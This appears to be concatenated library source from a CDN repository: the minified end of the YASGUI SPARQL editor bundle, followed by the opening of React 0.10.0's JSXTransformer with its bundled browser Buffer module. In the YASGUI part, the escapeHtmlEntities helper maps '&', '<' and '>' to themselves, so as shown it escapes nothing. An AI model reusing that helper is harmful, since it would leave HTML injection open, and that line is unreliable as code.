S=n("<div>",{"class":"reqRow"}).appendTo(y);n("<div>",{"class":"rowLabel"}).appendTo(S).text("Default graphs");c=n("<div>",{"class":"col-md-8",role:"group"}).appendTo(S);var N=n("<div>",{"class":"reqRow"}).appendTo(y);n("<div>",{"class":"rowLabel"}).appendTo(N).text("Named graphs");p=n("<div>",{"class":"col-md-8",role:"group"}).appendTo(N);var v=n("<li>",{role:"presentation"}).appendTo(h),C="yasgui_history_"+t.persistentOptions.id;v.append(n("<a>",{href:"#"+C,"aria-controls":C,role:"tab","data-toggle":"tab"}).text("History").click(function(e){e.preventDefault();n(this).tab("show")}));var L=n("<div>",{id:C,role:"tabpanel","class":"tab-pane history container-fluid"}).appendTo(g);m=n("<ul>",{"class":"list-group"}).appendTo(L);if(e.options.api.collections){var v=n("<li>",{role:"presentation"}).appendTo(h),A="yasgui_collections_"+t.persistentOptions.id;v.append(n("<a>",{href:"#"+A,"aria-controls":A,role:"tab","data-toggle":"tab"}).text("Collections").click(function(e){e.preventDefault();n(this).tab("show")}));var y=n("<div>",{id:A,role:"tabpanel","class":"tab-pane collections container-fluid"}).appendTo(g)}return d},E=function(e,t,r,i){for(var o=n("<div>",{"class":"textInputsRow"}),s=0;t>s;s++){var a=i&&i[s]?i[s]:"";n("<input>",{type:"text"}).val(a).keyup(function(){var r=!1;e.find(".textInputsRow:last input").each(function(e,t){n(t).val().trim().length>0&&(r=!0)});r&&E(e,t,!0)}).css("width",92/t+"%").appendTo(o)}o.append(n("<button>",{"class":"close",type:"button"}).text("x").click(function(){n(this).closest(".textInputsRow").remove()}));r?o.hide().appendTo(e).show("fast"):o.appendTo(e)},y=function(){0==d.find(".tabPaneMenuTabs li.active").length&&d.find(".tabPaneMenuTabs a:first").tab("show");var r=t.persistentOptions.yasqe;"POST"==r.sparql.requestMethod.toUpperCase()?o.addClass("active"):s.addClass("active");l[0].selectize.setValue(r.sparql.acceptHeaderGraph);a[0].selectize.setValue(r.sparql.acceptHeaderSelect);u.empty();r.sparql.args&&r.sparql.args.length>0&&r.sparql.args.forEach(function(e){var t=[e.name,e.value];E(u,2,!1,t)});E(u,2,!1);c.empty();r.sparql.defaultGraphs&&r.sparql.defaultGraphs.length>0&&E(c,1,!1,r.sparql.defaultGraphs);E(c,1,!1);p.empty();r.sparql.namedGraphs&&r.sparql.namedGraphs.length>0&&E(p,1,!1,r.sparql.namedGraphs);E(p,1,!1);m.empty();0==e.history.length?m.append(n("<a>",{"class":"list-group-item disabled",href:"#"}).text("No items in history yet").click(function(e){e.preventDefault()})):e.history.forEach(function(t){var r=t.options.yasqe.sparql.endpoint;t.resultSize&&(r+=" ("+t.resultSize+" results)");m.append(n("<a>",{"class":"list-group-item",href:"#",title:t.options.yasqe.value}).text(r).click(function(r){var i=e.tabs[t.options.id];n.extend(!0,i.persistentOptions,t.options);i.refreshYasqe();e.store();d.closest(".tab-pane").removeClass("menu-open");r.preventDefault()}))})},x=function(){var r=t.persistentOptions.yasqe.sparql;o.hasClass("active")?r.requestMethod="POST":s.hasClass("active")&&(r.requestMethod="GET");r.acceptHeaderGraph=l[0].selectize.getValue();r.acceptHeaderSelect=a[0].selectize.getValue();var i=[];u.find("div").each(function(e,t){var r=[];n(t).find("input").each(function(e,t){r.push(n(t).val())});r[0]&&r[0].trim().length>0&&i.push({name:r[0],value:r[1]?r[1]:""})});r.args=i;var d=[];c.find("div").each(function(e,t){var r=[];n(t).find("input").each(function(e,t){r.push(n(t).val())});r[0]&&r[0].trim().length>0&&d.push(r[0])});r.defaultGraphs=d;var f=[];p.find("div").each(function(e,t){var r=[];n(t).find("input").each(function(e,t){r.push(n(t).val())});r[0]&&r[0].trim().length>0&&f.push(r[0])});r.namedGraphs=f;e.store();t.setPersistentInYasqe()};return{initWrapper:v,updateWrapper:y,store:x}}},{"./imgs.js":101,jquery:8,selectize:9,"yasgui-utils":15}],110:[function(e,t){var n=e("yasgui-utils"),r=e("./imgs.js"),i=e("jquery");t.exports=function(e){var t=!!e.options.tracker.googleAnalyticsId,o=!0,s="yasgui_"+i(e.wrapperElement).closest("[id]").attr("id")+"_trackerId",a=function(){var e=n.storage.get(s);if(null===e)u();else{e=+e;if(0===e){t=!1;o=!1}else if(1===e){t=!0;o=!1}else if(2==e){t=!0;o=!0}}},l=function(){if(e.options.tracker.googleAnalyticsId){a();(function(e,t,n,r,i,o,s){e.GoogleAnalyticsObject=i;e[i]=e[i]||function(){(e[i].q=e[i].q||[]).push(arguments)},e[i].l=1*new Date;o=t.createElement(n),s=t.getElementsByTagName(n)[0];o.async=1;o.src=r;s.parentNode.insertBefore(o,s)})(window,document,"script","//www.google-analytics.com/analytics.js","ga");ga("create",e.options.tracker.googleAnalyticsId,"auto");ga("send","pageview")}},u=function(){var t=i("<div>",{"class":"consentWindow"}).appendTo(e.wrapperElement),o=function(){t.hide(400)},l=function(e){var t="no";2==e?t="yes":1==e&&(t="yes/no");c("consent",t);n.storage.set(s,e);a()};t.append(i("<div>",{"class":"consentMsg"}).html("We track user actions (including used endpoints and queries). This data is solely used for research purposes and to get insight into how users use the site. <i>We would appreciate your consent!</i>"));i("<div>",{"class":"buttons"}).appendTo(t).append(i("<button>",{type:"button","class":"btn btn-default"}).append(i(n.svg.getElement(r.checkMark)).height(11).width(11)).append(i("<span>").text(" Yes, allow")).click(function(){l(2);o()})).append(i("<button>",{type:"button","class":"btn btn-default"}).append(i(n.svg.getElement(r.checkCrossMark)).height(13).width(13)).append(i("<span>").html(" Yes, track site usage, but not<br>the queries/endpoints I use")).click(function(){l(1);o()})).append(i("<button>",{type:"button","class":"btn btn-default"}).append(i(n.svg.getElement(r.crossMark)).height(9).width(9)).append(i("<span>").text(" No, disable tracking")).click(function(){l(0);o()})).append(i("<button>",{type:"button","class":"btn btn-default"}).text("Ask me later").click(function(){o()}))},c=function(e,n,r,i,o){t&&ga&&ga("send","event",e,n,r,i,{nonInteraction:!!o})};l();return{enabled:t,track:c,drawConsentWindow:u}}},{"./imgs.js":101,jquery:8,"yasgui-utils":15}],111:[function(e,t){e("jquery");t.exports={escapeHtmlEntities:function(e){var t={"&":"&","<":"<",">":">"},n=function(e){return t[e]||e};return e.replace(/[&<>]/g,n)}}},{jquery:8}],112:[function(e,t){var n=e("jquery"),r=t.exports=e("yasgui-yasqe");r.defaults=n.extend(!0,r.defaults,{persistent:null,consumeShareLink:null,createShareLink:null,sparql:{showQueryButton:!0,acceptHeaderGraph:"text/turtle",acceptHeaderSelect:"application/sparql-results+json"}})},{jquery:8,"yasgui-yasqe":47}],113:[function(e,t){e("jquery"),e("./main.js"),t.exports=e("yasgui-yasr")},{"./main.js":106,jquery:8,"yasgui-yasr":89}]},{},[1])(1)});
//# sourceMappingURL=yasgui.min.js.map
|
files/react/0.10.0/JSXTransformer.js
|
cedricbousmanne/jsdelivr
|
/**
* JSXTransformer v0.10.0
*/
!function(e){if("object"==typeof exports)module.exports=e();else if("function"==typeof define&&define.amd)define(e);else{var f;"undefined"!=typeof window?f=window:"undefined"!=typeof global?f=global:"undefined"!=typeof self&&(f=self),f.JSXTransformer=e()}}(function(){var define,module,exports;return (function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);throw new Error("Cannot find module '"+o+"'")}var f=n[o]={exports:{}};t[o][0].call(f.exports,function(e){var n=t[o][1][e];return s(n?n:e)},f,f.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(_dereq_,module,exports){
/**
* The buffer module from node.js, for the browser.
*
* Author: Feross Aboukhadijeh <feross@feross.org> <http://feross.org>
* License: MIT
*
* `npm install buffer`
*/
var base64 = _dereq_('base64-js')
var ieee754 = _dereq_('ieee754')
exports.Buffer = Buffer
exports.SlowBuffer = Buffer
exports.INSPECT_MAX_BYTES = 50
Buffer.poolSize = 8192
/**
* If `Buffer._useTypedArrays`:
* === true Use Uint8Array implementation (fastest)
* === false Use Object implementation (compatible down to IE6)
*/
Buffer._useTypedArrays = (function () {
// Detect if browser supports Typed Arrays. Supported browsers are IE 10+,
// Firefox 4+, Chrome 7+, Safari 5.1+, Opera 11.6+, iOS 4.2+.
if (typeof Uint8Array !== 'function' || typeof ArrayBuffer !== 'function')
return false
// Does the browser support adding properties to `Uint8Array` instances? If
// not, then that's the same as no `Uint8Array` support. We need to be able to
// add all the node Buffer API methods.
// Bug in Firefox 4-29, now fixed: https://bugzilla.mozilla.org/show_bug.cgi?id=695438
try {
var arr = new Uint8Array(0)
arr.foo = function () { return 42 }
return 42 === arr.foo() &&
typeof arr.subarray === 'function' // Chrome 9-10 lack `subarray`
} catch (e) {
return false
}
})()
/**
* Class: Buffer
* =============
*
* The Buffer constructor returns instances of `Uint8Array` that are augmented
* with function properties for all the node `Buffer` API functions. We use
* `Uint8Array` so that square bracket notation works as expected -- it returns
* a single octet.
*
* By augmenting the instances, we can avoid modifying the `Uint8Array`
* prototype.
*/
function Buffer (subject, encoding, noZero) {
if (!(this instanceof Buffer))
return new Buffer(subject, encoding, noZero)
var type = typeof subject
// Workaround: node's base64 implementation allows for non-padded strings
// while base64-js does not.
if (encoding === 'base64' && type === 'string') {
subject = stringtrim(subject)
while (subject.length % 4 !== 0) {
subject = subject + '='
}
}
// Find the length
var length
if (type === 'number')
length = coerce(subject)
else if (type === 'string')
length = Buffer.byteLength(subject, encoding)
else if (type === 'object')
length = coerce(subject.length) // Assume object is an array
else
throw new Error('First argument needs to be a number, array or string.')
var buf
if (Buffer._useTypedArrays) {
// Preferred: Return an augmented `Uint8Array` instance for best performance
buf = augment(new Uint8Array(length))
} else {
// Fallback: Return THIS instance of Buffer (created by `new`)
buf = this
buf.length = length
buf._isBuffer = true
}
var i
if (Buffer._useTypedArrays && typeof Uint8Array === 'function' &&
subject instanceof Uint8Array) {
// Speed optimization -- use set if we're copying from a Uint8Array
buf._set(subject)
} else if (isArrayish(subject)) {
// Treat array-ish objects as a byte array
for (i = 0; i < length; i++) {
if (Buffer.isBuffer(subject))
buf[i] = subject.readUInt8(i)
else
buf[i] = subject[i]
}
} else if (type === 'string') {
buf.write(subject, 0, encoding)
} else if (type === 'number' && !Buffer._useTypedArrays && !noZero) {
for (i = 0; i < length; i++) {
buf[i] = 0
}
}
return buf
}
// STATIC METHODS
// ==============
Buffer.isEncoding = function (encoding) {
switch (String(encoding).toLowerCase()) {
case 'hex':
case 'utf8':
case 'utf-8':
case 'ascii':
case 'binary':
case 'base64':
case 'raw':
case 'ucs2':
case 'ucs-2':
case 'utf16le':
case 'utf-16le':
return true
default:
return false
}
}
Buffer.isBuffer = function (b) {
return !!(b !== null && b !== undefined && b._isBuffer)
}
Buffer.byteLength = function (str, encoding) {
var ret
str = str + ''
switch (encoding || 'utf8') {
case 'hex':
ret = str.length / 2
break
case 'utf8':
case 'utf-8':
ret = utf8ToBytes(str).length
break
case 'ascii':
case 'binary':
case 'raw':
ret = str.length
break
case 'base64':
ret = base64ToBytes(str).length
break
case 'ucs2':
case 'ucs-2':
case 'utf16le':
case 'utf-16le':
ret = str.length * 2
break
default:
throw new Error('Unknown encoding')
}
return ret
}
Buffer.concat = function (list, totalLength) {
assert(isArray(list), 'Usage: Buffer.concat(list, [totalLength])\n' +
'list should be an Array.')
if (list.length === 0) {
return new Buffer(0)
} else if (list.length === 1) {
return list[0]
}
var i
if (typeof totalLength !== 'number') {
totalLength = 0
for (i = 0; i < list.length; i++) {
totalLength += list[i].length
}
}
var buf = new Buffer(totalLength)
var pos = 0
for (i = 0; i < list.length; i++) {
var item = list[i]
item.copy(buf, pos)
pos += item.length
}
return buf
}
// BUFFER INSTANCE METHODS
// =======================
function _hexWrite (buf, string, offset, length) {
offset = Number(offset) || 0
var remaining = buf.length - offset
if (!length) {
length = remaining
} else {
length = Number(length)
if (length > remaining) {
length = remaining
}
}
// must be an even number of digits
var strLen = string.length
assert(strLen % 2 === 0, 'Invalid hex string')
if (length > strLen / 2) {
length = strLen / 2
}
for (var i = 0; i < length; i++) {
var byte = parseInt(string.substr(i * 2, 2), 16)
assert(!isNaN(byte), 'Invalid hex string')
buf[offset + i] = byte
}
Buffer._charsWritten = i * 2
return i
}
function _utf8Write (buf, string, offset, length) {
var charsWritten = Buffer._charsWritten =
blitBuffer(utf8ToBytes(string), buf, offset, length)
return charsWritten
}
function _asciiWrite (buf, string, offset, length) {
var charsWritten = Buffer._charsWritten =
blitBuffer(asciiToBytes(string), buf, offset, length)
return charsWritten
}
function _binaryWrite (buf, string, offset, length) {
return _asciiWrite(buf, string, offset, length)
}
function _base64Write (buf, string, offset, length) {
var charsWritten = Buffer._charsWritten =
blitBuffer(base64ToBytes(string), buf, offset, length)
return charsWritten
}
function _utf16leWrite (buf, string, offset, length) {
var charsWritten = Buffer._charsWritten =
blitBuffer(utf16leToBytes(string), buf, offset, length)
return charsWritten
}
Buffer.prototype.write = function (string, offset, length, encoding) {
// Support both (string, offset, length, encoding)
// and the legacy (string, encoding, offset, length)
if (isFinite(offset)) {
if (!isFinite(length)) {
encoding = length
length = undefined
}
} else { // legacy
var swap = encoding
encoding = offset
offset = length
length = swap
}
offset = Number(offset) || 0
var remaining = this.length - offset
if (!length) {
length = remaining
} else {
length = Number(length)
if (length > remaining) {
length = remaining
}
}
encoding = String(encoding || 'utf8').toLowerCase()
var ret
switch (encoding) {
case 'hex':
ret = _hexWrite(this, string, offset, length)
break
case 'utf8':
case 'utf-8':
ret = _utf8Write(this, string, offset, length)
break
case 'ascii':
ret = _asciiWrite(this, string, offset, length)
break
case 'binary':
ret = _binaryWrite(this, string, offset, length)
break
case 'base64':
ret = _base64Write(this, string, offset, length)
break
case 'ucs2':
case 'ucs-2':
case 'utf16le':
case 'utf-16le':
ret = _utf16leWrite(this, string, offset, length)
break
default:
throw new Error('Unknown encoding')
}
return ret
}
Buffer.prototype.toString = function (encoding, start, end) {
var self = this
encoding = String(encoding || 'utf8').toLowerCase()
start = Number(start) || 0
end = (end !== undefined)
? Number(end)
: end = self.length
// Fastpath empty strings
if (end === start)
return ''
var ret
switch (encoding) {
case 'hex':
ret = _hexSlice(self, start, end)
break
case 'utf8':
case 'utf-8':
ret = _utf8Slice(self, start, end)
break
case 'ascii':
ret = _asciiSlice(self, start, end)
break
case 'binary':
ret = _binarySlice(self, start, end)
break
case 'base64':
ret = _base64Slice(self, start, end)
break
case 'ucs2':
case 'ucs-2':
case 'utf16le':
case 'utf-16le':
ret = _utf16leSlice(self, start, end)
break
default:
throw new Error('Unknown encoding')
}
return ret
}
Buffer.prototype.toJSON = function () {
return {
type: 'Buffer',
data: Array.prototype.slice.call(this._arr || this, 0)
}
}
// copy(targetBuffer, targetStart=0, sourceStart=0, sourceEnd=buffer.length)
Buffer.prototype.copy = function (target, target_start, start, end) {
var source = this
if (!start) start = 0
if (!end && end !== 0) end = this.length
if (!target_start) target_start = 0
// Copy 0 bytes; we're done
if (end === start) return
if (target.length === 0 || source.length === 0) return
// Fatal error conditions
assert(end >= start, 'sourceEnd < sourceStart')
assert(target_start >= 0 && target_start < target.length,
'targetStart out of bounds')
assert(start >= 0 && start < source.length, 'sourceStart out of bounds')
assert(end >= 0 && end <= source.length, 'sourceEnd out of bounds')
// Are we oob?
if (end > this.length)
end = this.length
if (target.length - target_start < end - start)
end = target.length - target_start + start
// copy!
for (var i = 0; i < end - start; i++)
target[i + target_start] = this[i + start]
}
function _base64Slice (buf, start, end) {
if (start === 0 && end === buf.length) {
return base64.fromByteArray(buf)
} else {
return base64.fromByteArray(buf.slice(start, end))
}
}
function _utf8Slice (buf, start, end) {
var res = ''
var tmp = ''
end = Math.min(buf.length, end)
for (var i = start; i < end; i++) {
if (buf[i] <= 0x7F) {
res += decodeUtf8Char(tmp) + String.fromCharCode(buf[i])
tmp = ''
} else {
tmp += '%' + buf[i].toString(16)
}
}
return res + decodeUtf8Char(tmp)
}
function _asciiSlice (buf, start, end) {
var ret = ''
end = Math.min(buf.length, end)
for (var i = start; i < end; i++)
ret += String.fromCharCode(buf[i])
return ret
}
function _binarySlice (buf, start, end) {
return _asciiSlice(buf, start, end)
}
function _hexSlice (buf, start, end) {
var len = buf.length
if (!start || start < 0) start = 0
if (!end || end < 0 || end > len) end = len
var out = ''
for (var i = start; i < end; i++) {
out += toHex(buf[i])
}
return out
}
function _utf16leSlice (buf, start, end) {
var bytes = buf.slice(start, end)
var res = ''
for (var i = 0; i < bytes.length; i += 2) {
res += String.fromCharCode(bytes[i] + bytes[i+1] * 256)
}
return res
}
Buffer.prototype.slice = function (start, end) {
var len = this.length
start = clamp(start, len, 0)
end = clamp(end, len, len)
if (Buffer._useTypedArrays) {
return augment(this.subarray(start, end))
} else {
var sliceLen = end - start
var newBuf = new Buffer(sliceLen, undefined, true)
for (var i = 0; i < sliceLen; i++) {
newBuf[i] = this[i + start]
}
return newBuf
}
}
// `get` will be removed in Node 0.13+
Buffer.prototype.get = function (offset) {
console.log('.get() is deprecated. Access using array indexes instead.')
return this.readUInt8(offset)
}
// `set` will be removed in Node 0.13+
Buffer.prototype.set = function (v, offset) {
console.log('.set() is deprecated. Access using array indexes instead.')
return this.writeUInt8(v, offset)
}
Buffer.prototype.readUInt8 = function (offset, noAssert) {
if (!noAssert) {
assert(offset !== undefined && offset !== null, 'missing offset')
assert(offset < this.length, 'Trying to read beyond buffer length')
}
if (offset >= this.length)
return
return this[offset]
}
function _readUInt16 (buf, offset, littleEndian, noAssert) {
if (!noAssert) {
assert(typeof littleEndian === 'boolean', 'missing or invalid endian')
assert(offset !== undefined && offset !== null, 'missing offset')
assert(offset + 1 < buf.length, 'Trying to read beyond buffer length')
}
var len = buf.length
if (offset >= len)
return
var val
if (littleEndian) {
val = buf[offset]
if (offset + 1 < len)
val |= buf[offset + 1] << 8
} else {
val = buf[offset] << 8
if (offset + 1 < len)
val |= buf[offset + 1]
}
return val
}
Buffer.prototype.readUInt16LE = function (offset, noAssert) {
return _readUInt16(this, offset, true, noAssert)
}
Buffer.prototype.readUInt16BE = function (offset, noAssert) {
return _readUInt16(this, offset, false, noAssert)
}
function _readUInt32 (buf, offset, littleEndian, noAssert) {
if (!noAssert) {
assert(typeof littleEndian === 'boolean', 'missing or invalid endian')
assert(offset !== undefined && offset !== null, 'missing offset')
assert(offset + 3 < buf.length, 'Trying to read beyond buffer length')
}
var len = buf.length
if (offset >= len)
return
var val
if (littleEndian) {
if (offset + 2 < len)
val = buf[offset + 2] << 16
if (offset + 1 < len)
val |= buf[offset + 1] << 8
val |= buf[offset]
if (offset + 3 < len)
val = val + (buf[offset + 3] << 24 >>> 0)
} else {
if (offset + 1 < len)
val = buf[offset + 1] << 16
if (offset + 2 < len)
val |= buf[offset + 2] << 8
if (offset + 3 < len)
val |= buf[offset + 3]
val = val + (buf[offset] << 24 >>> 0)
}
return val
}
Buffer.prototype.readUInt32LE = function (offset, noAssert) {
return _readUInt32(this, offset, true, noAssert)
}
Buffer.prototype.readUInt32BE = function (offset, noAssert) {
return _readUInt32(this, offset, false, noAssert)
}
Buffer.prototype.readInt8 = function (offset, noAssert) {
if (!noAssert) {
assert(offset !== undefined && offset !== null,
'missing offset')
assert(offset < this.length, 'Trying to read beyond buffer length')
}
if (offset >= this.length)
return
var neg = this[offset] & 0x80
if (neg)
return (0xff - this[offset] + 1) * -1
else
return this[offset]
}
function _readInt16 (buf, offset, littleEndian, noAssert) {
if (!noAssert) {
assert(typeof littleEndian === 'boolean', 'missing or invalid endian')
assert(offset !== undefined && offset !== null, 'missing offset')
assert(offset + 1 < buf.length, 'Trying to read beyond buffer length')
}
var len = buf.length
if (offset >= len)
return
var val = _readUInt16(buf, offset, littleEndian, true)
var neg = val & 0x8000
if (neg)
return (0xffff - val + 1) * -1
else
return val
}
Buffer.prototype.readInt16LE = function (offset, noAssert) {
return _readInt16(this, offset, true, noAssert)
}
Buffer.prototype.readInt16BE = function (offset, noAssert) {
return _readInt16(this, offset, false, noAssert)
}
function _readInt32 (buf, offset, littleEndian, noAssert) {
if (!noAssert) {
assert(typeof littleEndian === 'boolean', 'missing or invalid endian')
assert(offset !== undefined && offset !== null, 'missing offset')
assert(offset + 3 < buf.length, 'Trying to read beyond buffer length')
}
var len = buf.length
if (offset >= len)
return
var val = _readUInt32(buf, offset, littleEndian, true)
var neg = val & 0x80000000
if (neg)
return (0xffffffff - val + 1) * -1
else
return val
}
Buffer.prototype.readInt32LE = function (offset, noAssert) {
return _readInt32(this, offset, true, noAssert)
}
Buffer.prototype.readInt32BE = function (offset, noAssert) {
return _readInt32(this, offset, false, noAssert)
}
function _readFloat (buf, offset, littleEndian, noAssert) {
if (!noAssert) {
assert(typeof littleEndian === 'boolean', 'missing or invalid endian')
assert(offset + 3 < buf.length, 'Trying to read beyond buffer length')
}
return ieee754.read(buf, offset, littleEndian, 23, 4)
}
Buffer.prototype.readFloatLE = function (offset, noAssert) {
return _readFloat(this, offset, true, noAssert)
}
Buffer.prototype.readFloatBE = function (offset, noAssert) {
return _readFloat(this, offset, false, noAssert)
}
function _readDouble (buf, offset, littleEndian, noAssert) {
if (!noAssert) {
assert(typeof littleEndian === 'boolean', 'missing or invalid endian')
assert(offset + 7 < buf.length, 'Trying to read beyond buffer length')
}
return ieee754.read(buf, offset, littleEndian, 52, 8)
}
Buffer.prototype.readDoubleLE = function (offset, noAssert) {
return _readDouble(this, offset, true, noAssert)
}
Buffer.prototype.readDoubleBE = function (offset, noAssert) {
return _readDouble(this, offset, false, noAssert)
}
Buffer.prototype.writeUInt8 = function (value, offset, noAssert) {
if (!noAssert) {
assert(value !== undefined && value !== null, 'missing value')
assert(offset !== undefined && offset !== null, 'missing offset')
assert(offset < this.length, 'trying to write beyond buffer length')
verifuint(value, 0xff)
}
if (offset >= this.length) return
this[offset] = value
}
function _writeUInt16 (buf, value, offset, littleEndian, noAssert) {
if (!noAssert) {
assert(value !== undefined && value !== null, 'missing value')
assert(typeof littleEndian === 'boolean', 'missing or invalid endian')
assert(offset !== undefined && offset !== null, 'missing offset')
assert(offset + 1 < buf.length, 'trying to write beyond buffer length')
verifuint(value, 0xffff)
}
var len = buf.length
if (offset >= len)
return
for (var i = 0, j = Math.min(len - offset, 2); i < j; i++) {
buf[offset + i] =
(value & (0xff << (8 * (littleEndian ? i : 1 - i)))) >>>
(littleEndian ? i : 1 - i) * 8
}
}
Buffer.prototype.writeUInt16LE = function (value, offset, noAssert) {
_writeUInt16(this, value, offset, true, noAssert)
}
Buffer.prototype.writeUInt16BE = function (value, offset, noAssert) {
_writeUInt16(this, value, offset, false, noAssert)
}
function _writeUInt32 (buf, value, offset, littleEndian, noAssert) {
if (!noAssert) {
assert(value !== undefined && value !== null, 'missing value')
assert(typeof littleEndian === 'boolean', 'missing or invalid endian')
assert(offset !== undefined && offset !== null, 'missing offset')
assert(offset + 3 < buf.length, 'trying to write beyond buffer length')
verifuint(value, 0xffffffff)
}
var len = buf.length
if (offset >= len)
return
for (var i = 0, j = Math.min(len - offset, 4); i < j; i++) {
buf[offset + i] =
(value >>> (littleEndian ? i : 3 - i) * 8) & 0xff
}
}
Buffer.prototype.writeUInt32LE = function (value, offset, noAssert) {
_writeUInt32(this, value, offset, true, noAssert)
}
Buffer.prototype.writeUInt32BE = function (value, offset, noAssert) {
_writeUInt32(this, value, offset, false, noAssert)
}
Buffer.prototype.writeInt8 = function (value, offset, noAssert) {
if (!noAssert) {
assert(value !== undefined && value !== null, 'missing value')
assert(offset !== undefined && offset !== null, 'missing offset')
assert(offset < this.length, 'Trying to write beyond buffer length')
verifsint(value, 0x7f, -0x80)
}
if (offset >= this.length)
return
if (value >= 0)
this.writeUInt8(value, offset, noAssert)
else
this.writeUInt8(0xff + value + 1, offset, noAssert)
}
function _writeInt16 (buf, value, offset, littleEndian, noAssert) {
if (!noAssert) {
assert(value !== undefined && value !== null, 'missing value')
assert(typeof littleEndian === 'boolean', 'missing or invalid endian')
assert(offset !== undefined && offset !== null, 'missing offset')
assert(offset + 1 < buf.length, 'Trying to write beyond buffer length')
verifsint(value, 0x7fff, -0x8000)
}
var len = buf.length
if (offset >= len)
return
if (value >= 0)
_writeUInt16(buf, value, offset, littleEndian, noAssert)
else
_writeUInt16(buf, 0xffff + value + 1, offset, littleEndian, noAssert)
}
Buffer.prototype.writeInt16LE = function (value, offset, noAssert) {
_writeInt16(this, value, offset, true, noAssert)
}
Buffer.prototype.writeInt16BE = function (value, offset, noAssert) {
_writeInt16(this, value, offset, false, noAssert)
}
function _writeInt32 (buf, value, offset, littleEndian, noAssert) {
if (!noAssert) {
assert(value !== undefined && value !== null, 'missing value')
assert(typeof littleEndian === 'boolean', 'missing or invalid endian')
assert(offset !== undefined && offset !== null, 'missing offset')
assert(offset + 3 < buf.length, 'Trying to write beyond buffer length')
verifsint(value, 0x7fffffff, -0x80000000)
}
var len = buf.length
if (offset >= len)
return
if (value >= 0)
_writeUInt32(buf, value, offset, littleEndian, noAssert)
else
_writeUInt32(buf, 0xffffffff + value + 1, offset, littleEndian, noAssert)
}
Buffer.prototype.writeInt32LE = function (value, offset, noAssert) {
_writeInt32(this, value, offset, true, noAssert)
}
Buffer.prototype.writeInt32BE = function (value, offset, noAssert) {
_writeInt32(this, value, offset, false, noAssert)
}
function _writeFloat (buf, value, offset, littleEndian, noAssert) {
if (!noAssert) {
assert(value !== undefined && value !== null, 'missing value')
assert(typeof littleEndian === 'boolean', 'missing or invalid endian')
assert(offset !== undefined && offset !== null, 'missing offset')
assert(offset + 3 < buf.length, 'Trying to write beyond buffer length')
verifIEEE754(value, 3.4028234663852886e+38, -3.4028234663852886e+38)
}
var len = buf.length
if (offset >= len)
return
ieee754.write(buf, value, offset, littleEndian, 23, 4)
}
Buffer.prototype.writeFloatLE = function (value, offset, noAssert) {
_writeFloat(this, value, offset, true, noAssert)
}
Buffer.prototype.writeFloatBE = function (value, offset, noAssert) {
_writeFloat(this, value, offset, false, noAssert)
}
function _writeDouble (buf, value, offset, littleEndian, noAssert) {
if (!noAssert) {
assert(value !== undefined && value !== null, 'missing value')
assert(typeof littleEndian === 'boolean', 'missing or invalid endian')
assert(offset !== undefined && offset !== null, 'missing offset')
assert(offset + 7 < buf.length,
'Trying to write beyond buffer length')
verifIEEE754(value, 1.7976931348623157E+308, -1.7976931348623157E+308)
}
var len = buf.length
if (offset >= len)
return
ieee754.write(buf, value, offset, littleEndian, 52, 8)
}
Buffer.prototype.writeDoubleLE = function (value, offset, noAssert) {
_writeDouble(this, value, offset, true, noAssert)
}
Buffer.prototype.writeDoubleBE = function (value, offset, noAssert) {
_writeDouble(this, value, offset, false, noAssert)
}
// fill(value, start=0, end=buffer.length)
Buffer.prototype.fill = function (value, start, end) {
if (!value) value = 0
if (!start) start = 0
if (!end) end = this.length
if (typeof value === 'string') {
value = value.charCodeAt(0)
}
assert(typeof value === 'number' && !isNaN(value), 'value is not a number')
assert(end >= start, 'end < start')
// Fill 0 bytes; we're done
if (end === start) return
if (this.length === 0) return
assert(start >= 0 && start < this.length, 'start out of bounds')
assert(end >= 0 && end <= this.length, 'end out of bounds')
for (var i = start; i < end; i++) {
this[i] = value
}
}
Buffer.prototype.inspect = function () {
var out = []
var len = this.length
for (var i = 0; i < len; i++) {
out[i] = toHex(this[i])
if (i === exports.INSPECT_MAX_BYTES) {
out[i + 1] = '...'
break
}
}
return '<Buffer ' + out.join(' ') + '>'
}
/**
* Creates a new `ArrayBuffer` with the *copied* memory of the buffer instance.
* Added in Node 0.12. Only available in browsers that support ArrayBuffer.
*/
Buffer.prototype.toArrayBuffer = function () {
if (typeof Uint8Array === 'function') {
if (Buffer._useTypedArrays) {
return (new Buffer(this)).buffer
} else {
var buf = new Uint8Array(this.length)
for (var i = 0, len = buf.length; i < len; i += 1)
buf[i] = this[i]
return buf.buffer
}
} else {
throw new Error('Buffer.toArrayBuffer not supported in this browser')
}
}
// HELPER FUNCTIONS
// ================
function stringtrim (str) {
if (str.trim) return str.trim()
return str.replace(/^\s+|\s+$/g, '')
}
var BP = Buffer.prototype
/**
* Augment the Uint8Array *instance* (not the class!) with Buffer methods
*/
function augment (arr) {
arr._isBuffer = true
// save reference to original Uint8Array get/set methods before overwriting
arr._get = arr.get
arr._set = arr.set
// deprecated, will be removed in node 0.13+
arr.get = BP.get
arr.set = BP.set
arr.write = BP.write
arr.toString = BP.toString
arr.toLocaleString = BP.toString
arr.toJSON = BP.toJSON
arr.copy = BP.copy
arr.slice = BP.slice
arr.readUInt8 = BP.readUInt8
arr.readUInt16LE = BP.readUInt16LE
arr.readUInt16BE = BP.readUInt16BE
arr.readUInt32LE = BP.readUInt32LE
arr.readUInt32BE = BP.readUInt32BE
arr.readInt8 = BP.readInt8
arr.readInt16LE = BP.readInt16LE
arr.readInt16BE = BP.readInt16BE
arr.readInt32LE = BP.readInt32LE
arr.readInt32BE = BP.readInt32BE
arr.readFloatLE = BP.readFloatLE
arr.readFloatBE = BP.readFloatBE
arr.readDoubleLE = BP.readDoubleLE
arr.readDoubleBE = BP.readDoubleBE
arr.writeUInt8 = BP.writeUInt8
arr.writeUInt16LE = BP.writeUInt16LE
arr.writeUInt16BE = BP.writeUInt16BE
arr.writeUInt32LE = BP.writeUInt32LE
arr.writeUInt32BE = BP.writeUInt32BE
arr.writeInt8 = BP.writeInt8
arr.writeInt16LE = BP.writeInt16LE
arr.writeInt16BE = BP.writeInt16BE
arr.writeInt32LE = BP.writeInt32LE
arr.writeInt32BE = BP.writeInt32BE
arr.writeFloatLE = BP.writeFloatLE
arr.writeFloatBE = BP.writeFloatBE
arr.writeDoubleLE = BP.writeDoubleLE
arr.writeDoubleBE = BP.writeDoubleBE
arr.fill = BP.fill
arr.inspect = BP.inspect
